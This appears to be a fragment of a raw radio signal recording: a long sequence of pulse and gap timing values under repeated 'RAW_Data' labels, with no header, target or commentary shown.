-134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -126 337 -128 339 -128 125 -344 355 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3730 101 -356 105 -370 93 -382 349 -104 335 -124 341 -126 369 -96 339 -128 125 -342 355 -142 335 -126 349 -94 121 -372 101 -368 125 -352 351 -102 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 143 -334 125 -366 331 -132 329 -124 337 -128 337 -130 337 -126 127 -348 353 -104 335 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -366 331 -132 331 -122 361 -104 359 -108 335 -126 143 -340 349 -106 339 -130 357 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -140 301 -124 343 -128 337 -128 337 -128 127 -344 357 -138 335 -126 317 -126 121 -372 101 -368 91 -386 351 -102 141 -362 105 -334 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 99 -356 143 -334 93 -384 349 -104 337 -124 341 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 127 -360 123 -340 349 -132 331 -124 119 -352 139 -334 127 -3724 99 -394 105 -334 125 -366 331 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 125 -338 349 -132 331 -124 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -354 349 -104 337 -124 341 -128 369 -96 339 -128 125 -342 355 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 -RAW_Data: 331 -124 121 -350 137 -336 125 -3726 101 -356 141 -334 125 -350 351 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3726 101 -354 107 -370 93 -384 349 -104 337 -124 343 -126 339 -128 337 -128 127 -344 357 -138 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -372 103 -362 345 -142 327 -106 141 -358 103 -376 103 -3702 99 -392 105 -336 129 -360 349 -104 337 -124 343 -126 369 -98 337 -128 125 -372 327 -140 335 -128 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3728 99 -356 107 -370 93 -394 329 -134 329 -124 337 -128 337 -128 337 -126 127 -348 351 -140 333 -94 375 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -352 139 -336 125 -3730 101 -356 105 -370 93 -380 349 -104 339 -124 341 -128 337 -128 339 -128 125 -344 357 -138 335 -124 317 -126 121 -372 103 -366 93 -384 353 -102 141 -362 105 -336 127 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3722 101 -392 105 -334 125 -354 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -370 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3714 97 -370 127 -346 123 -352 355 -106 351 -140 333 -92 391 -104 359 -106 105 -362 355 -106 351 -140 331 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -134 329 -124 121 -352 139 -336 125 -3716 95 -372 127 -346 123 -352 355 -104 353 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 333 -92 139 -342 127 -362 123 -360 327 -124 119 -352 139 -334 127 -356 125 -338 351 -132 331 -124 121 -350 139 -334 127 -3724 99 -392 107 -334 125 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 337 -124 341 -126 369 -98 337 -128 127 -372 325 -140 337 -126 347 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 105 -334 -RAW_Data: 127 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 95 -360 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 335 -124 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3718 99 -392 105 -334 129 -356 351 -138 303 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 137 -336 125 -3728 101 -356 141 -334 93 -384 351 -102 337 -124 341 -126 371 -96 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3718 99 -392 105 -336 127 -356 349 -140 301 -126 343 -126 339 -128 337 -128 127 -344 355 -140 335 -126 315 -128 121 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3728 101 -356 107 -370 93 -394 329 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -336 127 -3726 99 -356 143 -334 125 -350 351 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -372 103 -360 347 -142 327 -106 139 -360 103 -376 103 -3700 101 -390 105 -338 127 -360 351 -138 333 -92 345 -126 369 -96 371 -96 125 -372 327 -140 337 -126 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3724 101 -392 105 -334 127 -366 329 -134 329 -124 337 -128 337 -128 337 -126 127 -348 353 -138 333 -92 345 -126 121 -372 101 -368 93 -384 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3722 101 -392 105 -334 127 -354 349 -140 303 -124 343 -126 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -374 101 -366 93 -386 351 -102 141 -362 103 -368 97 -358 93 -370 351 -132 331 -124 121 -352 137 -334 127 -3726 99 -356 143 -332 93 -396 331 -134 327 -124 337 -128 337 -128 337 -128 -RAW_Data: 125 -348 353 -138 333 -94 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3726 101 -356 105 -370 125 -364 329 -134 329 -124 337 -126 339 -128 337 -126 127 -350 351 -104 337 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -354 143 -334 127 -366 331 -132 329 -124 361 -104 357 -108 335 -126 143 -340 347 -108 339 -130 357 -94 121 -374 101 -368 93 -386 351 -102 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3718 97 -370 95 -378 105 -372 345 -108 339 -132 357 -94 367 -96 371 -96 125 -368 365 -108 335 -128 351 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -979600 157 -356 139 -336 125 -354 349 -104 339 -124 341 -128 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 123 -372 101 -366 93 -382 351 -102 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 137 -336 125 -3694 135 -354 105 -370 93 -382 327 -124 353 -94 367 -130 337 -128 337 -126 93 -360 345 -132 333 -124 339 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3690 135 -356 107 -368 93 -392 327 -134 329 -124 359 -106 357 -108 335 -124 145 -340 345 -106 339 -132 325 -124 121 -374 101 -368 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3718 95 -340 125 -366 141 -334 367 -108 337 -130 319 -126 337 -128 337 -128 127 -374 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -334 129 -372 103 -360 347 -106 361 -106 107 -396 103 -340 135 -3700 101 -392 105 -334 127 -356 349 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -334 127 -3714 97 -370 95 -380 91 -380 355 -106 351 -104 365 -94 389 -104 359 -108 105 -360 357 -106 349 -138 331 -92 139 -342 127 -360 123 -360 327 -124 119 -350 139 -336 125 -356 93 -372 349 -132 329 -124 119 -352 137 -336 125 -3716 97 -372 93 -368 141 -334 367 -108 339 -128 321 -126 337 -128 337 -130 125 -374 327 -138 335 -126 317 -126 121 -372 101 -368 -RAW_Data: 93 -384 319 -134 141 -362 105 -334 127 -358 95 -370 349 -132 331 -124 89 -382 137 -334 127 -3726 101 -356 105 -370 93 -392 327 -134 327 -124 361 -104 359 -106 337 -124 145 -342 347 -106 339 -130 355 -94 121 -372 103 -368 93 -384 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 125 -3718 99 -392 105 -336 125 -354 351 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3722 99 -356 143 -334 125 -352 349 -104 337 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 91 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -130 331 -122 121 -350 139 -334 127 -3718 97 -372 93 -366 141 -334 365 -108 337 -128 351 -94 369 -96 371 -96 125 -370 329 -140 337 -126 319 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -334 129 -356 93 -372 349 -132 329 -124 121 -350 139 -336 125 -3726 99 -358 105 -370 93 -380 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 355 -138 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3694 133 -356 107 -368 93 -380 327 -126 355 -124 337 -128 337 -128 337 -126 95 -386 317 -134 335 -122 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -108 361 -108 105 -398 103 -340 99 -3736 99 -392 105 -334 127 -354 351 -102 339 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3716 95 -372 93 -380 93 -382 353 -104 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -342 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3694 135 -354 107 -368 93 -392 329 -134 329 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -130 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -356 141 -336 125 -352 347 -104 337 -126 341 -128 337 -128 339 -128 125 -346 355 -138 335 -124 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -336 127 -360 93 -370 -RAW_Data: 349 -132 331 -124 121 -350 137 -336 125 -3718 97 -370 95 -380 105 -370 345 -106 339 -132 357 -92 369 -96 371 -96 125 -368 365 -106 337 -126 351 -94 121 -372 101 -370 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 105 -370 93 -384 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 121 -350 139 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 335 -124 341 -126 371 -96 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 139 -334 125 -3716 95 -372 95 -380 123 -350 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -94 139 -340 129 -358 125 -358 329 -122 121 -350 139 -336 125 -356 93 -372 349 -132 331 -122 121 -350 139 -336 127 -3724 101 -356 105 -370 93 -382 349 -104 337 -124 343 -126 337 -130 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -366 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -334 127 -3696 133 -356 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 339 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 91 -384 351 -102 141 -364 105 -336 127 -358 125 -338 349 -132 331 -124 121 -348 139 -336 127 -3722 99 -356 143 -334 125 -354 347 -104 337 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 91 -386 349 -104 139 -362 105 -338 127 -358 95 -370 349 -132 329 -124 121 -352 137 -336 127 -3716 101 -392 105 -334 127 -352 351 -102 337 -124 345 -126 337 -128 337 -128 127 -374 325 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3692 135 -356 107 -370 93 -380 327 -126 355 -124 339 -128 337 -130 337 -126 93 -358 347 -134 333 -124 339 -126 123 -370 101 -366 93 -382 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3716 97 -370 95 -378 107 -370 345 -108 339 -130 327 -124 369 -128 337 -128 95 -368 331 -140 337 -128 319 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 101 -354 -RAW_Data: 143 -334 125 -364 329 -132 331 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -130 357 -94 121 -374 101 -368 125 -354 351 -102 141 -362 105 -338 127 -358 93 -372 349 -132 331 -122 121 -352 137 -334 127 -3722 99 -356 143 -334 125 -354 349 -138 301 -126 343 -126 339 -128 337 -128 127 -346 355 -138 333 -126 315 -126 121 -374 101 -368 91 -386 317 -136 139 -362 105 -368 95 -360 93 -372 349 -132 329 -124 121 -352 103 -368 127 -3726 99 -356 107 -368 93 -384 351 -102 335 -124 341 -128 337 -128 339 -128 125 -374 325 -140 333 -128 317 -124 121 -374 101 -368 91 -386 349 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3718 99 -392 107 -334 127 -354 349 -140 301 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 319 -134 105 -396 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3718 99 -392 105 -336 125 -356 349 -104 335 -124 343 -126 369 -96 339 -128 125 -374 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -360 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3694 133 -356 107 -370 93 -380 349 -140 301 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -124 317 -126 121 -374 101 -368 93 -384 319 -134 105 -396 105 -366 97 -358 95 -370 351 -132 329 -124 91 -382 103 -368 127 -3716 97 -372 93 -380 105 -370 347 -108 339 -132 325 -124 369 -98 369 -96 127 -370 329 -140 335 -128 319 -124 121 -374 101 -366 93 -384 351 -104 139 -362 105 -338 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3694 135 -356 105 -370 93 -382 349 -138 303 -124 343 -126 337 -130 337 -128 127 -346 355 -138 301 -158 315 -126 121 -374 101 -366 93 -384 319 -136 105 -396 105 -366 97 -358 93 -372 351 -130 331 -124 91 -382 101 -370 125 -3722 101 -392 105 -334 95 -386 349 -138 301 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 319 -134 105 -396 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3730 99 -356 105 -368 93 -384 349 -104 335 -124 341 -126 337 -130 337 -128 127 -342 357 -140 335 -126 315 -126 121 -372 103 -366 93 -384 351 -102 141 -362 105 -338 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3722 101 -356 143 -334 125 -350 351 -138 303 -124 343 -126 339 -128 -RAW_Data: 337 -128 127 -346 355 -138 333 -126 315 -126 121 -374 101 -368 91 -386 317 -136 141 -362 103 -368 95 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3730 101 -356 105 -370 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 127 -366 329 -134 329 -122 337 -130 337 -128 337 -126 95 -382 351 -104 337 -124 341 -126 121 -372 103 -366 93 -382 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3728 101 -356 107 -368 93 -392 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 347 -134 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -354 349 -138 303 -124 343 -128 337 -128 339 -128 125 -344 357 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 331 -122 121 -352 137 -334 127 -3720 101 -392 105 -334 127 -354 351 -104 335 -124 343 -126 369 -96 337 -128 127 -372 325 -142 335 -126 349 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 105 -336 125 -354 349 -140 301 -124 343 -128 337 -128 337 -128 127 -346 355 -138 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -368 95 -360 93 -372 349 -132 331 -124 91 -380 137 -336 125 -3724 101 -356 141 -334 93 -384 351 -102 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 335 -126 317 -124 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 95 -372 95 -378 125 -350 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 129 -360 123 -360 327 -122 121 -352 137 -336 127 -354 125 -340 349 -134 331 -122 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 351 -102 141 -362 103 -368 97 -358 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3722 101 -392 105 -334 127 -352 351 -102 337 -124 343 -126 369 -96 339 -128 125 -342 355 -140 335 -128 349 -94 121 -372 -RAW_Data: 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -396 329 -132 331 -122 337 -128 337 -130 337 -126 127 -348 353 -104 337 -124 343 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -334 127 -3724 99 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -126 127 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -386 317 -136 141 -360 105 -368 95 -360 93 -370 351 -132 331 -124 121 -350 137 -334 127 -3714 97 -372 95 -376 125 -352 353 -106 349 -140 331 -124 361 -104 357 -108 105 -398 319 -106 351 -142 331 -92 139 -342 129 -360 123 -360 327 -124 119 -352 139 -334 127 -372 105 -360 347 -108 361 -106 141 -362 103 -340 135 -3700 99 -392 105 -336 129 -358 349 -140 303 -124 351 -140 359 -108 335 -128 95 -368 353 -140 315 -142 331 -124 109 -374 97 -360 93 -392 327 -124 121 -350 139 -334 127 -356 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 141 -336 125 -354 349 -102 337 -124 341 -126 369 -98 337 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -334 127 -354 349 -104 337 -124 341 -128 337 -128 337 -128 125 -372 327 -140 335 -128 317 -124 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 329 -124 121 -352 137 -336 125 -3718 97 -372 93 -380 123 -352 353 -106 351 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -94 139 -340 129 -360 123 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -334 127 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3720 95 -372 95 -378 105 -370 345 -106 341 -130 359 -92 369 -130 337 -128 93 -368 365 -108 337 -128 319 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 129 -358 93 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 101 -392 105 -334 125 -354 349 -140 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 123 -372 101 -368 91 -386 351 -102 141 -362 103 -368 95 -360 -RAW_Data: 95 -370 351 -132 329 -124 91 -380 139 -334 127 -3718 99 -392 105 -336 127 -356 349 -104 337 -124 341 -126 371 -96 337 -128 127 -370 327 -140 337 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -336 127 -3726 101 -356 107 -368 93 -394 331 -132 331 -122 337 -128 337 -128 337 -128 125 -350 353 -102 337 -124 343 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -392 105 -336 125 -354 349 -140 301 -126 341 -128 337 -128 339 -128 125 -376 325 -138 335 -126 317 -126 121 -374 101 -368 91 -386 317 -136 141 -362 103 -368 95 -360 93 -372 351 -132 329 -124 91 -380 137 -334 127 -3730 99 -356 107 -368 93 -394 329 -134 329 -122 361 -104 359 -108 335 -126 143 -340 347 -106 339 -132 357 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -352 137 -336 127 -3716 95 -372 95 -378 123 -352 355 -106 351 -140 331 -92 391 -104 357 -108 105 -360 357 -106 351 -138 333 -122 109 -342 127 -360 125 -360 327 -124 121 -350 139 -336 125 -356 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3724 99 -392 105 -336 125 -366 331 -134 329 -122 361 -104 359 -108 335 -126 143 -340 349 -106 337 -132 357 -92 121 -374 103 -368 123 -354 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -352 139 -334 127 -3716 99 -392 105 -336 127 -358 349 -138 303 -124 345 -126 337 -130 337 -128 127 -374 325 -140 333 -126 317 -126 121 -374 101 -368 91 -386 351 -102 141 -362 105 -336 129 -370 105 -360 347 -142 325 -106 141 -358 103 -378 103 -3700 99 -392 105 -338 127 -360 349 -104 337 -124 343 -126 371 -96 337 -128 127 -372 325 -142 335 -128 317 -124 121 -374 101 -368 91 -384 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3728 101 -356 105 -370 125 -350 349 -140 303 -124 343 -126 339 -128 337 -128 127 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -338 127 -360 93 -370 351 -132 329 -124 91 -380 139 -334 127 -3722 99 -392 105 -336 125 -354 349 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -360 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3726 -RAW_Data: 99 -392 105 -334 127 -366 331 -132 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 341 -130 357 -94 121 -372 103 -366 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3728 101 -356 105 -370 125 -364 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 353 -138 301 -124 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -392 105 -334 125 -354 351 -138 303 -124 343 -128 337 -128 337 -128 127 -344 357 -138 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 103 -368 95 -360 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3724 101 -356 141 -334 125 -354 349 -104 337 -124 341 -128 337 -128 337 -128 127 -342 355 -140 335 -128 347 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3716 97 -372 95 -376 125 -350 355 -104 351 -140 333 -124 359 -104 359 -106 105 -362 357 -104 353 -140 331 -92 139 -342 129 -360 123 -360 327 -122 121 -352 125 -344 131 -366 93 -378 351 -104 335 -122 123 -358 139 -334 125 -3724 101 -354 143 -334 127 -366 331 -132 329 -124 361 -104 359 -106 337 -124 145 -340 347 -106 339 -132 357 -92 121 -374 101 -368 127 -352 351 -102 141 -362 105 -338 129 -358 93 -370 351 -132 331 -124 121 -350 137 -336 127 -3720 99 -392 105 -336 127 -352 351 -140 301 -126 343 -128 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -366 97 -360 93 -372 349 -132 331 -124 89 -382 137 -334 127 -3722 99 -392 105 -336 127 -354 349 -104 337 -122 343 -126 369 -98 337 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3724 101 -356 141 -336 125 -354 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -366 97 -360 93 -372 349 -132 331 -124 91 -380 137 -334 127 -3720 99 -392 105 -334 127 -356 351 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 333 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3720 99 -392 105 -334 127 -356 349 -140 301 -126 343 -126 -RAW_Data: 337 -130 337 -128 125 -376 325 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -368 95 -360 93 -372 349 -132 331 -124 121 -350 137 -334 127 -3724 99 -392 105 -336 125 -354 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3728 101 -356 105 -370 125 -350 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 91 -386 351 -102 141 -362 105 -366 97 -360 93 -370 351 -132 331 -124 89 -382 137 -334 127 -3730 99 -356 107 -368 93 -396 329 -134 327 -124 337 -128 337 -128 337 -128 125 -348 353 -138 333 -94 345 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 127 -3720 99 -392 105 -336 125 -356 349 -140 301 -126 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -370 349 -134 331 -124 121 -350 139 -334 125 -3716 97 -372 125 -346 125 -352 355 -104 351 -140 333 -92 391 -104 357 -108 105 -362 357 -106 349 -140 333 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -334 127 -358 93 -370 351 -132 331 -122 121 -350 139 -334 127 -3726 99 -356 143 -334 125 -366 331 -132 329 -124 337 -128 337 -128 337 -128 125 -348 351 -140 